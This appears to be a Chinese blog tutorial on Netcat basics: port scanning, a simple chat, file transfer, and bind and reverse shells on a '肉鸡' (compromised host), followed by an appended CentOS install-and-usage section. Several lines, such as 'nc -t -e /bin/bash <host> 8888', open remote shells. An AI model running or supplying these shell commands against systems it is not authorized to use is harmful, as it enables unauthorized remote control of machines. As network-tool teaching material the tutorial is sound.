Netcat的简单使用

前言:

Necat简称nc,拥有“瑞士军刀”的美誉,nc小巧强悍,可以读写TCP和UDP网络连接,它是基于SOCKET协议工作,支持windows端和Linux端。它的功能有很多,常用的功能如下:
但是实际用来反弹shell的较多。

  • 端口扫描
  • 聊天
  • 文件传输
  • 反弹shell

常见方法:

端口扫描:

nc64 -z -v -n ip地址 端口范围
在这里插入图片描述
聊天:
可以利用nc做一个简单版本的聊天工具,通过一边监听端口,一边发送消息去该端口,形成一个简单版本的服务端和客户端模型
服务器端:
nc -lvp 8888 #监听8888端口 -l 监听 -v显示详细参数 -p 指定端口
在这里插入图片描述
客户端:
nc -nv 服务端ip地址 8888 #连接到服务器端口8888 -n以数字形式显示ip -v 显示详细信息
在这里插入图片描述
文件传输:
服务器端:
nc -lvp 8888 < ceshi.txt
在这里插入图片描述
客户端:
nc -nv 服务器端ip地址 8888 >ceshi.txt

在这里插入图片描述
客户端已经成功接收文件
在这里插入图片描述
反弹shell
正向连接,意思就是我们主动连接肉鸡(客户端)
肉鸡上(这里是windows)执行:
nc -lvv -p 8888 -t -e cmd.exe #cmd.exe是windows上的,如果是linux,需要换成/bin/bash
在这里插入图片描述
我们的本机上执行(可以是windows也可以是linux):
nc -nvv 肉鸡的ip地址 8888
在这里插入图片描述
反向连接,意思就是我们本机监听端口,然后肉鸡主动连接我们的主机
我们的本机上上执行(可以是windows也可以是linux)
nc -vv -lp 8888 #执行监听
在这里插入图片描述
肉鸡上执行(这里是linux):
nc -t -e /bin/bash 我们的主机ip地址 8888
在这里插入图片描述
我们的主机上返回交互式shell
在这里插入图片描述

总结:

个人觉得NC的用法还是非常强大的,他可以在windows和linux上执行,并且可以互相的反弹shell,如果有需要补充的,可以私信我。

### CentOS 7 上 Netcat使用教程 #### 安装 Netcat 为了在 CentOS 7 上使用 `Netcat`,可以按照如下方式安装: 通过源码编译安装是一个选项。首先下载并解压 Netcat 源文件: ```bash wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz tar -zxvf netcat-0.7.1.tar.gz -C /usr/local/ cd /usr/local/ mv netcat-0.7.1 netcat cd netcat ./configure make && make install ``` 接着设置环境变量以便于命令全局可用: ```bash echo '# set netcat path' >> /etc/profile echo 'export NETCAT_HOME=/usr/local/netcat' >> /etc/profile echo 'export PATH=$PATH:$NETCAT_HOME/bin' >> /etc/profile source /etc/profile ``` 验证安装是否成功可以通过运行 `nc -h` 来查看帮助信息[^1]。 #### 基本用法 Netcat 是一个多用途网络工具,能够读写来自 TCP 或 UDP 网络连接的数据流。以下是几种常见的应用场景及其对应的命令行参数说明。 ##### 创建监听端口的服务端模式 服务端等待客户端发起连接请求,并执行指定程序(如 `/bin/bash`),这通常用于创建反向Shell等场景,在实际操作中需谨慎处理安全风险。 ```bash nc -lvp <port> -e /path/to/executable ``` 例如,开启本地9999端口作为监听器并将输入输出重定向到 Bash shell: ```bash nc -lvp 9999 -e /bin/bash ``` ##### 连接到远程主机的客户端模式 客户端主动建立与目标机器上的特定端口号之间的TCP/IP会话链接。 ```bash nc <hostname_or_ip_address> <port> ``` 比如要连接至 IP 地址为 `192.168.1.100` 并尝试访问其开放着的 HTTP 协议默认使用的80号端口,则可键入: ```bash nc 192.168.1.100 80 ``` ##### 文件传输功能 利用 Netcat 实现简单的文件发送接收过程也很容易实现。假设 A 和 B 分别代表两台计算机之间的一方;A 启动监听准备接受数据包的同时指定了待存储路径名;而B则负责提供欲传送对象的具体位置以及对方地址加端口组合成的目标定位符。 ###### 发送者(B)侧的操作指令: ```bash nc <receiver_IP> <listening_port> < file_to_send.txt ``` ###### 接收者(A)侧的操作指令: ```bash nc -lvp <listening_port> > received_file.txt ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值